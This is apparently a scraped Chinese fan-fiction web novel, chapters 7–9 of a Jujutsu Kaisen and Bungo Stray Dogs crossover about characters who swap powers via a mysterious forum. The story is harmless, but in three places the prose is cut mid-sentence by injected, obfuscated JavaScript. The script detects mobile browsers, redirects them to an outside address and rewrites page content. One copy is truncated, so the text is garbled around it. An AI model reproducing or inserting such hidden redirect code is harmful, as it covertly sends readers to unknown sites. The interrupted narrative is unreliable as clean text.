《烫角色能力互换后》 7. 论坛嘴王 过了一秒钟，那两个按钮变成了： 【是/否（1票）】 不用怀疑，这个反对票肯定是五条悟投的。 “夜蛾，不用担心啦，怎么可能有人威胁到我们啊？”五条悟粲然一笑，“我们可是最强的耶。” 大少爷眼神乱飘，应该是还没玩够，拉一个屏蔽了夜蛾的小聊天群还不够，连这种大事都要瞒着师长再浪一浪。 硝子睁着死鱼眼也投了票。 她想省点事啊，尤其是五条悟，来个人管管吧。 【是（1票）/否（1票）】 好，现在决定权压到了夏油杰头上。 丸子头少年眼神飘忽，心里的念头纠在一起，乱糟糟的。 说实话，他确实和悟一样还想再多藏一阵，自由倒是其次，杰主要担心如果牵扯更多的人进来，是不是会发生什么不可预测的变故。 异世界、论坛系统什么的，以前只有在轻小说里才会有的情节。这个论坛背后的家伙到底期望他们怎么做？自己应该寻求合作，还是保持警惕同时唱反调呢？ 宽厚温和的手掌落在少年肩头，杰蓦然回神，抬首，发现夜蛾老师正注视着他，满目担忧。 “真的没事吗，杰？”班主任，“你脸色看上去不太好。” “……嗯，没事，”夏油杰打起精神，几乎可以骗过任何人，他的假笑更沉稳也更有信服力，“老师，请暂时先相信我和悟的判断，交给我们，不会有问题的。” 夏油杰觉得自己能否解决还是未知数，悟一定是有能力处理任何情况的。 ——这家伙离开后，又窜出去做任务了，连半截虹龙尾巴都么留下，生怕被搭档逮住要他赔。 夏油杰无奈地靠在窗台上，捏捏眉心。 他还没来得及试探对方术式方面的事情呢…… 硝子靠在一旁打量几眼，突然问道：“「咒灵操术」是有什么问题吗？” “……没啊，”杰堪堪收住表情，藏起勉强，“硝子为什么突然这么问？” “看你很担心的样子，”奶妈的目光极具穿透力，只是短短一瞬，随后又轻飘飘收了回去，“不想回答的话就算了，我也就随便问问。” 杰顿了顿，“嗯……可能心里是很担心吧，论坛还有各种各样的事情，”悟以前一直是和他一起出任务的，但换掉术式之后成独行侠了，杰分心感叹一下，补充道：“夜蛾老师这件事也是，我觉得瞒着不太好，但是透露的话容易把更多人牵扯进来……” 硝子长长叹口气：“你啊，还真是不喜欢麻烦其他人的性格。” 杰笑笑，“可能吧。” 奶妈揉了揉眼下的黑眼圈，一支烟从她口袋里凭空浮了出来，“无所谓，这样也好，我们三个自己解决——已经做好决定的话，投反对票不就行了？” “说起这个，”杰尴尬地捏了一下刘海，“就在刚刚，我的投票界面消失了。” 硝子：“哈？” 棕发少女凑过去看，果然，夏油杰的界面不知什么时候跳转回了主界面上。 “叮咚。” 随着一声响，论坛的【有话就说】版块跳出了一个金色的小点。 硝子那里也出现了同样的动静，类似于那种消息提示音。 杰手指悬空点开，犹豫着判断道：“这是…主帖内容更新吗？” 是那个管理员发布地[hot]置顶帖有了动静，底下跟了一楼。夏油杰看见说话家伙的头像和昵称时，就有种不详的预感，在看见内容时两眼一黑。 戴墨镜的白猫头像不知怎的，摸出了论坛的发帖功能，在置顶介绍帖下面捣鼓出一条评论： 【2楼｜老子天下第一 排一下雷，随机到消除别人术式的异能，一点用没有还被捅了，零星差评。】 夏油杰：“？”异能？ 哦对，在用积分兑换东西的那个板块，确实有说这是异能来着。 杰感觉不妙，他觉得和他们这个世界一样，这些个异能力也许可能有主的吧？ 硝子明显也有同样的猜测。 “五条这家伙故意的吧？”硝子挑眉。 果不其然，两秒后，跳出了一个陌生的青花鱼头像，挑衅回来： 【3楼｜绷带是什么仙品 呀，废物在说话^^】 哇，毫不客气的犀利措辞，简直是在最强雷区里蹦迪。 头像内容是论坛随机生成的，五条悟头像是只猫，夏油杰是一片黑，家入硝子是一根烟。这个绷带咸鱼的头像只可能来自“对面”某个家伙，来自另一个世界。 …… 【4楼｜老子天下第一 废物说谁呢？谁叫谁废物。怎么，你这是体术超神，还是平时都躲在队友后面捡人头？】 【5楼｜绷带是什么仙品 哈，一看就是没脑子的家伙，平时只靠术式和肉搏的傻大个，怪不得一换能力就被捅了呢，略略略～】 …… 两人一来一回，嘲讽瞬间刷出十几层楼。 夏油杰：“……” …… 【16楼｜咒灵操使 你们先都冷静一下，异能和术式各有各的长处，这个没有互相攻击的必要。】 …… “迁怒啊，”硝子啧啧啧，“带伤两天记仇记到异能力主人头上去了。” 夏油杰本能回道：“但那个消除的异能力，确实和天与咒缚打起来没太多用。” 硝子：“？” …… 【20楼｜老子天下第一 怎么？不服？想来试试？那带着你那破异能来1v1啊？】 【21楼｜绷带是什么仙品 呵，果然是莽夫的思维模式啊，诶呀，你的搭档一定很辛苦吧，真有点心疼他耶^^】 …… 【24楼｜织田作之助 两位适可而止。既然有留言功能，我们好好沟通一下。】 …… “不该给他这么快治好的，”硝子客观评论，“精力太旺盛了，没了「六眼」牵制更是无法无天。” “硝子，眼睛累？” “还行。” …… 【27楼｜咒灵操使 抱歉，我们这边也无意争吵，先停下吧大家。】 “要不然还是打一架吧，”夏油杰自言自语，“这样方便点，反正悟肯定能赢。” 硝子：“……” 这位夏油杰同学，要不然把你的话和你打的字放一起，看看是怎么回事儿？ 聊天功能被开发出来的短短几分钟，这个首页主帖成了名副其实的[Hot]帖，1楼之下活脱脱小学生贴吧骂战，中间夹杂着织田作之助“你们别吵了”的劝架和夏油杰“冷静”之类的提醒，p用没有。 期间夏油杰甚至还接到了来自五条悟的email，都是拍的咒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929767|136437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵玉。悟这几天出任务天天拍照，不知不觉已经攒了二十多颗战果，这数量让杰想到之后的吞咽量就头皮发麻。 这种汇报工作掩盖不了悟一边出任务一边摸鱼嘴炮别人的事实。 杰真的不理解，这论坛界面又破又小，连键盘都得扒着用，五条悟就算了，怎么对面也有个人才精力满满闲得蛋疼，有空刷个几十条。 等等，如果论坛和手机email一样、能这样聊天的话…… 杰脑袋里灵光一闪。 下一秒，他催着同期一起帮忙找，“硝子，你试试看有没有那种私聊的功能。如果能跟帖发消息的话，一对一的私联说不定也可以？” 硝子用[哟没想到你是个天才]的眼神打量他，反问一句，“怎么，试出来告诉五条那家伙，让我们清静清静？” 杰：“……怎么可能。” 异能力者那头的反应更快，咒灵操使刚试着点开陌生人的头像，名为织田作之助的异能力者就来敲开了夏油杰的聊天框。 【织田作之助：您好，咒灵操使君。】 夏油杰抓了下丸子头，感觉有点怪怪的。 不是，用昵称＋君敬称这种，怎么有点让人略羞耻的感觉（） 【咒灵操使：您好。】 两个人沉默了几秒，下一条消息几乎是同时跳出来。 【咒灵操使：不好意思，我们之前意外互换时生死一线，敌人比较特殊，异能力本身确实很强，但是用起来不太合适。我的搭档他情绪不佳，有些不太礼貌，我代为道歉。】 【织田作之助：我的朋友有些冲动了，他最近压力很大，要思考的东西很多，我替他道歉。还是要感谢你们的术式，我们不太清楚这个论坛是怎么来的，不过帮了大忙。如果给你们造成了麻烦，实在抱歉。】 两个人画风可以称得上一模一样，彬彬有礼，客气道歉，但同时对同伴的回护之意也相当明显，暗中纵容着，丝毫不提让两位吵架正主亲自道歉一事。 【咒灵操使：不用这么客气，5秒预知是您的异能力吗？也帮了不少，感谢。】 如果没那个预知能力，他和悟还没开打，其中一人就要惨烈负伤，夏油杰觉得这点还是挺不错的。 【织田作之助：是的。你们这里不介意就好，太宰一会回来我去劝劝，论坛那个消息提示其他人可以先屏蔽。】 【咒灵操使：添麻烦了，悟那里任务结束我去和他说。】 嚯，原来如此——夏油杰和织田作之助都同时感觉到对方的无奈，内心升起同样的念头： 原来不论是自己这边还是对方那边，都有搞起事来完全拉不住的家伙啊！ 他俩多聊几句，又同时给对方贴上了标签： [沉稳][好沟通][负责任]……以及，[嗯下回有事还找他]。 好吧，达成共识，就让两边的悟三岁和宰三岁盖楼闹吧，嘴炮打多了也就腻了，大家眼不见为净。 夏油杰揉了揉脑袋，一路走到医务室，面对前边儿成片儿的等着他的活儿，又有大龄儿童等着他管，黑发特级想躺又无法罢工的痛苦达到顶峰。 论坛这时候重新跳出来一个熟悉的界面。 【[夜蛾正道]已满足论坛标准，是否招募？】 【是（1票）】 夏油杰：“……” 行，在这等着他呢。 不是，这回怎么连那个【否】的按钮都没有了啊？！！ 8. 天花乱坠 时间前推一点。论坛的成员列表里依旧是六个人，还没多出名为[夜蛾正道]的新成员。 织田作之助坐在后厨的小木桌前，正拿着几张纸写着什么东西。 红发男人为了节省电费，只开了一盏小小的台灯，昏暗的光线下隐约能看见两侧的模样。 ——左边绑着昏迷的Mimic首领，身后的床上躺着昏睡的异特科卧底，两个人下巴上都长出短短的胡茬，形容憔悴，像是什么凶残的审问现场。 幸好Lupin店长没在场，不然战战兢兢觉得自己酒吧清白不保。 织田作之助看看半空中的屏幕，又看看面前的纸，抬手摁了摁眉心，侧身舒展了一下自己蜷缩到僵硬的长腿。 孩子们都睡了，而这几天他都在挑灯夜战，整理情报。 男人的字是极为好看的，就算是在之前的安全屋里堆叠的废弃手稿，也写得异常工整。 这一回，他整理记录的不是灵感，也不是小说情节，而是那个救了自己命的新东西。 [看上去真不像某个单独的异能者能完成的局，剥离异能，交换异能，还有…沟通异世界的力量。] 织田作之助一边思考，一边用笔帽敲击纸面，[真的是异世界吗？根据太宰的情报，东京那一片确实没有咒术师活动的痕迹，我身上换到的能力的攻击性也过于超标……以异能力的标准来看，至少得是超越者的水平——不可思议。] 书写有利于思考，思维导图的整理对织田打开思路十分有用。更重要的是，论坛那个金灿灿的版面看得太扎眼。 写归写，织田也不会丢失应有的警惕，台灯旁还有个扁平的铁盘，中间燃烧着一支小小的蜡烛，明显是为了之后销毁情报准备的。 【有分就买】的商城里，异能力有三个，「人间失格」和「天衣无缝」的兑换价格在2000，「堕-落论」是1000积分。在衡量价格方面，这个论坛明显有它自己的判定标准。 而另一侧，被称为术式的有四个能力： 一是「无下限」和「六眼」，这个组合术式标出了5000＋5000总共10000的高价。 积分兑换并没有标注明确的时间，织田作之助也不清楚这一万积分砸下去能用多久，他们也没那个成本进行试验。 男人在昂贵的价格后面打了个问号，写上猜测：[最贵＝最强？] 在织田作之助的推测里，自己在对战时用出的毁天灭地的“术式”，大概率是这个昂贵的“商品”。 根据「无下限」的使用效果来看，除了高攻外，还有一个显著的特征是[隔绝攻击]。织田怀疑自己可能是在爆炸前无意识触发了这个效果，侥幸让孩子们活了下来。 贵是真的贵，除了基础的组合之外，还有附加的类似于补充招式之类的东西。一枚「苍」1000 ，一枚「赫」1000，一枚「茈」5000，贵到不忍直视，颇有一点狮子大开口的豪横意味。 以它为标准，第二个术式就平价很多。 「咒灵操术」甚至没有基础的术式兑换门槛，单纯按咒灵级别来的。四级咒灵只卖了10积分，三-级20分，二级100分，一级直接跳到2000，特级则给了一个5000-10000的范围。 在这个术式的后面，织田特意用笔标上了“坂口安吾”四个字。 ——能无限召唤出奇怪生物，这个描述和商品页面高度重合。 这个能力原本属于谁也一目了然，在【有人就拉】人员名单里，“夏油杰”给自己的昵称是咒灵操使，完全没隐藏和术式的关联。 第三个值得研究的“商品”名叫「反转术式」，1000积分用一次。 这个名字起得很奇怪，像太宰治的「人间失格」和自己的「天衣无缝」，或多或少都有点异能效果的影子。对比之下，“反转”这两个字就有些难以琢磨了。 反转什么？物体的状态吗？将[被破坏]的伤口转成[完好无损]的的状态，如果是这种规则型术式，那运用的范畴可不止治疗…… 有趣的是，在「反转术式」的栏目后，还跟了一个「额外技巧-创口贴」的选项，竟然标注出了出处——太宰治。 织田作之助盯着那个金色的蚂蚁字反反复复确认三遍，确实是太宰无疑。 事情就变得相当有意思了。 织田联想到了太宰为了加速、远程治疗Mimic那些成员的模样。 ——难道这些术式被换到他们手上之后，还能在原本的基础上，开发出新的技巧吗？ 最后一个平平无奇的术式叫「帐」，论坛只给了一点小解释-[隔离/隐藏]，呈现出的效果就是Lupin酒吧外罩着的那一圈黑幕，只需要50积分。 [这才是最不容易被关注到的细节啊，不论是位置还是价格……太宰永远是走在最前面的那一个。]织田作之助心底升起佩服。 他整理完情报后才推测出这些内容，而友人估计早在界面出现之后的短时间内就摸了个大概，还极为大胆地用50积分，争取到了这几天的平稳过渡。 在复盘中，织田作之助也发现，这个神秘论坛即便从表面上看很简陋，也同时装备了很多极富人性化的小功能，需要多多探索…… “差不多先记这些吧。” 红发男人舒展了一下两臂，又将纸上的内容在自己脑海里过了两遍，确保记忆清晰无遗漏后，折起纸张往火苗上送。 金色的小方格在这时凭空出现了。 和扁平的屏幕不同，这是一个有体积、能容纳东西的金色小立方体，看上去有点像储物格。 这小玩意非常形象化地开了一个盖子，往他这里凑了凑，像是在催促着什么。 织田作之助挑眉，“这是帮我收着吗？” ……没想到还有这功能呢，这也是幕后的家伙弄出来的吗？ 这上面可都是论坛情报，不会收起来之后直接毁尸灭迹了吧？ 像是知道男人心里的想法，小方块主动凑到他指尖旁，将情报一口吞下。随后在消失了1秒后又重新出现，非常积极地展示了那完好无损的纸团子，表示它很乖。 织田：“……” 之前是有点好奇，现在应该是非常好奇管理员是什么样的人了。 还没来得及互动几秒，储物小方块似乎是能量用尽，被迫消失。 织田视线往角落暗处扫去。 “醒了就不要装睡了，”男人声音淡淡，提醒道：“那是特殊的绑法，越挣-扎越紧，不用白费力气。” 不愧是身体素质强大的异能力者，昏迷了两日后依旧能沉得住气，有挣脱的力气，还有精力观察四周。 银发Mimic首领用整整一分钟的时间，确认自己逃脱的可能性为0。 “织田作之助，你竟然藏得如此之深，骗过了吾等，也骗过了所有人，”纪德声音沙哑，眼神疲惫但战意不减，死死盯着在他面前端坐的红发男人，“……为什么没有直接处置吾？” “我无意反复解释。”织田没有交流的想法，心里思考要不要再把对方劈晕省点事。 如果不是太宰反复申明让他好好把人看着，之后还有其他用处，织田可能已经直接把这个家伙丢到官方异能者的调查机构了。 “呵…呵呵…可惜啊，真的可惜啊，即便沦落到这一步，你也心慈手软，不敢杀人，”纪德笑容里带上难得的嘲讽和轻蔑，“你自己是否清楚，打败吾的那一招，已经称得上奇迹——那是超越者才能的辉光——而你不仅埋没了它，还因为那可笑的懦弱和无用的藏拙，在这片战场上失去了重要的人…” “你不必激怒我，”织田心想如果不是友人的提议，你现在还在安静乖巧地昏着呢。织田回忆着太宰临走前的指点，一字一句道：“最后那个攻击不属于我，我的异能力只有「天衣无缝」而已。” 对上银发男人怀疑的目光，织田面色淡定。 “打败你的另有其人，”红发男人手抵下颌，似在回忆，“也许就像你说的那样，是个未知的超越者吧。” 嗯，太宰让他这么演的，一口咬死就好。 至于对方，爱信不信。 纪德蹙眉，一时间分不清楚这是否是对方的谎言。 他也没太多清醒的时间了——织田作之助完成任务，重新举起手刀。 ＋ “啪，啪。” 缠着绷带的手轻轻地拍了拍西装男人的肩头。 守在电梯走廊旁的保镖扭头，神色一惊，恭敬地弯下腰，“太宰先生！” “呀，你好～”太宰治微笑着摆摆手，“森先生在吗？” 保镖一板一眼道：“要去顶层的话，您能出示一下通行许可吗？” “因为没有拿到许可，所以来问问，”太宰麻烦起其他人来丝毫不尴尬，“毕竟还是要按照规矩办事嘛。” ……您现在也没按照规矩办啊。保镖心中无奈，拽出传呼机，替想一出是一出的干部大人询问了上边。 三秒后，黑西装右挪一步，“太宰大人请挪步顶层。” 在走入Mafia大楼直梯之前，太宰耳边捕捉到了一个微小的提示音。 是从被关闭的论坛内弹出的。 太宰挑眉，两指动作隐蔽地拉出浅金色屏幕，看见了一行申请。 【[？？？（家入硝子）]申请借用「堕-落论」】 【是（可定时长）/否】 …… “叮——” 顶楼到了。 首领办公室气氛沉闷，连人形异能爱丽丝都远远避在角落里。 森鸥外坐在宽阔的实木办公桌后，双手交握遮住了下半张脸，男人的声音低沉有力，回荡在宽敞的空间之内。 “太宰君，你平安无事真是太好了…” “森先生，我就直接问了，”太宰直接打断假惺惺的迂回寒暄，单刀直入，“孩子们的安全屋地点是您透露-出去的吗？” 空气陷入诡异又恐怖的凝滞，五秒后，首领才慢悠悠开口。 “……Mimic入侵是横滨所有人都不愿看到的，”森鸥外像模像样长叹口气，“太宰君也能理解这一点吧？那种为目标呕心沥血的感觉…每个人都希望横滨能重归和平，就像这栋大楼里每一个人都希望Mafia能够蒸蒸日上一样…” 男人的声音冷酷又充满温情，“有时候我们为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这算是妥协的信号吗？森鸥外保持微笑，丝毫没有放松警惕。 他听太宰治接着道：“至于那个攻击，我当时就在现场……太强了，而且强得超出我的想象。” 森鸥外蹙眉。他当然知道有多强，Mafia首领更想知道的，是所有人都查不出来的一手目击情报。 太宰满足了对方的心思。 “森先生，你知道吗？我活下来压根不是因为「人间失格」，对方只是操控精准避开了而已，”太宰治平淡地扔下一个惊天炸雷，“因为在战斗发生前，对方就把我的异能力夺走了。” 嗯。夺走了。 ……嗯？夺走了？ ……………………夺走了？？？ 森鸥外感觉自己出现了幻听。 “嗯，夺走了。”太宰治的表情平淡，语气却不像是在开玩笑。 少年干部目光滑过面前只有自己能看见的屏幕。 【异能借出时间剩余00:03:47】 “森先生不相信的话，用仪器测试一下不就行了？”太宰不疾不徐道：“以往的话，就算是「人间失格」也会有波动的吧？” Mafia是有这种小型仪器的，成本高造价高，只有首领能够调用。Mafia平日里没有这方面的硬性需求，如果不是太宰提出来，这东西估计还在角落放着落灰。 这种异能检测仪在异特科更常见，官方机构还有个更大型号的，正是那覆盖了一整个横滨的异能值监测系统。 首领在场，东西很快就被送过来了，一测竟还真如太宰治所言。 ——属于「人间失格」的异能力波动，真的彻彻底底地消失了。 森鸥外：“？！” 负责测试的是首领的心腹保镖，这位大哥冷汗淋淋，有种知道了重要情报可能会被灭口的恐慌。 太宰大人的异能力失灵…？！ 这个情报如果扩散将变得极其炸裂，基本没有人会信的程度。 “是一个神秘的家伙啊，不但裹着头巾，还带着墨镜，像是故意要藏身份一样，一个照面就把我能力夺走了，”太宰开始编故事，编得天花乱坠，小细节唬得人一愣一愣，“感觉像是和Mimic有仇吧？帮我们把人放倒了，之后一句话没说就走了，像是有其他急事。” “……原来如此，”森鸥外勉强维持住面上的沉稳，“我会派人去调查的。” 嗯嗯，去调查吧，多分点力量去调查这个“未知异能者”，这样他这里会轻松很多呢^^ 太宰治保持微笑，连嘴角最细微的弧度都没变过。 金发人形异能凑上前来，踩着黑色小皮鞋围着Mafia干部哒哒哒绕了一圈。 “太宰哥哥，你说的是真的吗？”爱丽丝难得没有疏远，在一臂距离之内反而主动凑近，“异能力被夺走什么的……好奇怪啊。” 这是来自森鸥外的第二层试探了。 [异能借出时间剩余00:00:03] [异能借出时间剩余00:00:02] [异能借出时间剩余00:00:01] “我也难以置信，但是，这个世界上什么事都有可能发生呢。” 太宰微笑着探出手，“而且，我怎么可能欺骗这么可～爱～的爱丽丝酱呢？” 9. 友谊之星 太宰治轻轻摸了摸爱丽丝的金色发顶。 这是Mafia干部第一次碰到首领的人形异能。以往「人间失格」还在的时候，爱丽丝都远远地躲着，一点也不想被太宰手贱摸没了。 这一次，人形异能不是出于自己的好奇心凑上来，而在森鸥外的示意下靠近，是试探太宰治话语真实性的最后一重保障。 ——正中下怀。 在太宰天衣无缝的微表情下，「堕-落论」悄无声息地发动了。 那么问题来了，作为Mafia首领的人型异能、在他发迹之时就形影不离的左臂右膀，爱丽丝体内究竟留存着多少绝密信息？ 而在「堕-落论」的加持下，太宰治又究竟能接收多少？ 这点除了Mafia干部本人外，谁都不清楚。 被摸头的爱丽丝都没有任何察觉，只是对“太宰治真的失去了异能力”这个事实进行了二次确认，“真的…失效了…” 由此，森鸥外对太宰情报的评估又加了几分可信度。 能在横滨堂而皇之地夺走「人间失格」，还放出那么大规模的攻击性异能，这证明入侵横滨的不止Mimic一家，必然还存在第二股势力。 可能是一个人…不，更有可能是一个组织隐藏在幽灵的阴暗面，竟然没有被任何横滨势力察觉…… 至少Mafia是一点风声都没听见。 试探后的短短半息，森鸥外的思维已经发散到了紧急情况预案。 “唉，没有异能力怪不习惯，也怪害怕的，”太宰打断对方的思考，柔弱道：“森先生，之前提供的安全屋还能用吗？我想去暂避一下。” 这种主动往Mafia监管范围内跳的举动，极大取悦了首领那根多疑的神经。 森鸥外并不想承认，没有了异能力的太宰治让他紧绷的思维略微一松。 “太宰确实也辛苦了，”森鸥外语气恢复温和，“织田君也要去养伤吧？我会给你们重新安排的，请放心，同样的错误Mafia不会再犯第二次。 森鸥外状似关心，又提醒道：“现在危机还没有排除，横滨也潜伏着未知的残党。太宰君你也要小心。” 就差添一句没事别乱跑乖乖让我软禁着了。 “哈，实际上，森先生要感谢织田哦，”太宰笑得灿烂，“他简直是Mafia、不，是您的大功臣呢！” 森鸥外眉梢微挑，遮掩住心中的莫名其妙。 他为什么要感谢？ 织田作之助的能力他很清楚，也了解对方的原则——不夺取任何人的生命。这个可笑的底线直接把一个Mafia潜力股打成了一张必须舍弃的废牌。 作为Mafia首领他需要感谢织田作之助什么？感谢对方赶走了Mimic？但是纪德应该不是织田作之助解决的吧？ 太宰治这话到底是什么意思？ 首领的大脑高速旋转，找不出答案。 到最后，他也只能把事情理解为Mafia干部的小小示威，提醒他不准再次碰线。 但是，暂时失去「人间失格」的太宰治……嗯，先放着吧，之后处理。 森鸥外完全不知道，因为织田作之助的一番挽回，打消了太宰篡位夺权的想法，让他能暂时得以在位子上再安稳片刻。 至于后面能不能继续安安心心发展……那还真无法预料了。 “叮——” 电梯再次回到1楼。 走到那位黑西装保镖面前，太宰治笑容灿烂。 Mafia干部满脸写着[又要麻烦你啦但我一点也没觉得不好意思耶]。 保镖：“……” “帮我开一下权限，”太宰照常发号施令，声音轻缓，“我还想再去一个地方。” ＋ 坂口安吾从昏睡中醒来。 他一脸无神地躺在坚硬的“囚座”上。Lupin后厨的床又小又窄，再加上手铐上去的高度，是对身高的巨大挑战。 天知道连吃喝拉撒都要被盯着的感觉有多酸爽，安吾觉得自己不如被狠狠揍一顿。 但现下他忍着饥饿，缓缓平复大脑的眩晕。 如果是面对太宰，他可能还会龇两句，但对上织田的话，安吾彻底变成闷炮，连眼神都刻意飘在别处，完全不敢直视对方深蓝色的眼睛…… 倒是织田主动递过来食物。 虽然只是一块面包，干巴巴的呛得安吾直咳，在红发男人又喂过来一口水。 安吾全程安静，倒是织田看着他吃完之后开口搭话了。 “……你不逃跑的话，我给你解开。” 安吾：“？” 安吾：“！！！” 卧底先生已经在用看圣人的目光看着昔日友人了。 安吾清楚他如果想逃，织田可能也不会拦着，但那也意味着他们的友谊彻底结束。 “我…咳咳…我在你同意之前，绝对不会离开。”安吾保证。 “……车是在我面前爆炸的，等我醒过来赶到安全屋的时候，Mimic当着我的面引爆了开关，”织田轻轻吐气，“如果不是论坛…我应该已经…” 坂口安吾虽然在友情和职责中选择了后者，也不代表他是个心狠手辣的家伙，会刻意损害朋友的利益。 只能说，阴差阳错。 织田声音沉沉，“即便我很清楚这只是你无意间导致的，我也不想原谅你…我在迁怒。” 很明显，被折断的友谊所折磨的，不止安吾一人。 “……”前卧底本就充满愧疚的心口又遭受重击。 这回，安吾连道歉的话都说不出来。 生死一线的事实太过太沉重，而言语太过轻飘。 在[帐]笼罩的、沉寂的Lupin里，织田再次恢复沉默寡言。 门外的脚步声吸引了男人的注意，他三步并两步去到走廊，快速掩门，将房间内的两个俘虏藏在了视线盲区。 “织田作，我们要在这里待多久啊？”是男孩子的声音，跟着太宰治乱叫织田作，看来性格大胆又活泼。 “…还要一段时间…有什么想要的吗？…”织田嗓音温和。 “没有！就是…不能踢球，有一点点无聊啦…” “但比在之前那个地方安心多了。”女孩子的声音。 “因为织田作一直都在啊！”男孩子的，充满信任。 还有更亲昵的絮语，拥抱声，笑声……渐渐远去。 安吾仰起头，闭了闭眼。 ——[抱歉，]他在心里想，[如果有赎罪的机会……] 就请施舍他一次吧。 之后的过渡期较为平静。男人有条不紊地安抚照顾孩子，研究论坛面板，还学习了通过论坛来调控[帐]的大小边界。 期间纪德在醒来以后再次尝试越狱、失败后动员安吾结果惨遭拒绝。 “……你就心甘情愿被关着吗？”纪德蹙眉，“和吾等合作吧，我提供给你机会，让你摆脱这个牢笼…” “这不算牢笼，”安吾一板一眼拒绝道：“我被关在房间里，我愿意。” 纪德：“……” “你不也应该在赎罪吗？” 安吾该有的情报都有，可不是软柿子，加上不可挽回的友谊中这位Mimic首领可是出了好一份力，导致卧底先生看他就没个好脸色。 “害死了那么多人，就为了制造出所谓的[战场]，让自己死得其所…怀抱着这样自私的念头，连亡者的地狱都不会欢迎你的灵魂。” “……”纪德彻底闭嘴，无奈摆烂。 至此，Lupin内部的不安稳因素被彻底消除。 织田身上的「人间失格」在这期间也是立了大功，缺点是没了[天衣无缝]，他在酒吧后厨炸鸡蛋的时候被烫了一个泡。 织田：“……” 这种小挫折拦不住前杀手先生，他波澜不惊地煮出一整锅咖喱，就连哄孩子吃饭也是驾轻就熟。 可能太宰治在论坛上跟人吵起来这件事，对织田作之助来说更难处理一些。 红发男人咬着勺子，颇为苦恼地盯着那一层层飞速叠高的置顶帖。 一位“老子天下第一”的狂妄小孩，和另一位“绷带是什么仙品”的三岁宰，正在用正常人类无法理解的方式展开跨世界交流。 话题中心只有一个：你才是废物。 织田：“……” 如果真的是异世界的人，那也算得上战友了吧？之后他们还要共同研究这个论坛，有可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12929769|136437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要继续交换异能力…把关系搞砸了真的没事吗？ 织田作之助感觉有点头疼。 一向纵容朋友的他拦了几句，太宰丝毫不知收敛。人不在身边也不好劝，男人无奈下反倒阴差阳错点开头像，和对面的[咒灵操使]建了一个私聊频道，有来有回地沟通起来。 对方的昵称是[咒灵操使]，是织田专门研究过的人。 看着对方替朋友道歉、收拾残局的熟练姿势，织田作之助感觉自己仿佛在照镜子（） 男人心里升起诡异的同病相怜感，在破冰一般的寒暄之后，他的语气也微微一转，变得温和而亲切。 【织田作之助：之前你说你们遭遇了很棘手的敌人，我和太宰，也就是那位“绷带”朋友的异能力没有派上用场，你愿意详细说一说吗？】 试探性了解对方世界的情况，既是出于知己知彼的需要，也是源于织田那抑制不住的好奇心。 【也不是什么大事，敌人不用术式，只是躯体很强悍，单纯地使用物理攻击，】夏油杰借用了五条悟打游戏时候的比方，【平时的话，没有那么危险的情况。】 那一头的杰觉得没什么隐瞒的必要，如果真的是异世界，双方合作说不定能更快，他透露道：【我们是咒术师，平时需要消灭名为咒灵的东西。你朋友的「人间失格」能够直接祓除一级一下的咒灵，特级还没有测试过，但我估计效果不差，这个能力在特定方面还是很强悍的。】 织田从储物方格中取出材料，将“咒术师”和“咒灵”的相关情报登记上去。 【织田作之助：咒灵，是你能操控的那种生物的总称吗？所以你的能力就是收服它们，为你所用？】 夏油杰在对面眨眨眼，心道好敏锐。 【咒灵操使：是的。】 红发男人礼尚往来。 【织田作之助：原来如此，我们这里没有咒术师和咒灵，只有拥有特殊能力的人类。】 【咒灵操使：猜到了。没有听说过的话，那确实是异世界啊。】 [真神奇]——织田作之助和夏油杰心里同时升起这样的想法。 话匣子打开之后，两个人聊了不少话题。 他们一起吐槽了这个论坛潦草的布局，糟糕的排版放在任何一个网站上，都不会存在客流量。 功能倒是五脏齐全。 【这个论坛就跟手机终端差不多，】夏油杰交流着自己的发现，【帖子更新会有提示，也能有意识地屏蔽…就像住在我的脑子里一样。这个术式十分全能。】 【从我的角度来看，是不得了的异能者组织在谋划些什么，】织田作之助大胆猜测，丝毫不担心这个“异能者组织”在监视他们的可能性，【何止是全能，无隙不入得有些可怕了。】 【没事，我们没有碰到明显的恶意，】夏油杰已经开始不自觉安抚异世界战友的情绪了，【目前为止，一切都在可控的范围之内。】 这句话说得有多艰难，估计只有咒灵操使自己清楚。 织田温和地笑笑，【你的四级咒灵多吗？太宰换了几个，不会影响你吧？】 【这个层次的咒灵太弱了，不知道你的朋友为什么偏偏要这个，】夏油杰主动道：【我这里三-级到一级都很多，你们分够的话可以试着用一用，很方便的。】 织田把太宰兑换四级咒灵用来做实验的话咽了回去。他看了眼酒吧后厨角落的玻璃罐，里面装着一只蔫吧吧的咒灵，外观像极了苍蝇。 这位咒灵操使真很沉稳，没什么心机，还很热心，性格相处起来极为舒适。 织田作之助好感upup。 虽然对方除了昵称和头像外没有其他更详细的信息，但交流中提到了他们上的学校。 咒术高专，在上高专的话，应该还没有成年吧？ 异世界的孩子也需要参与危及生命的战斗吗？ 织田作之助思绪纷飞，忽然，金色-界面的一行字在他眼前跳了出来。 【你和[咒灵操使]已点亮友谊之星（进度100/100）】 【下一阶段畅聊之火（进度100/1000）】 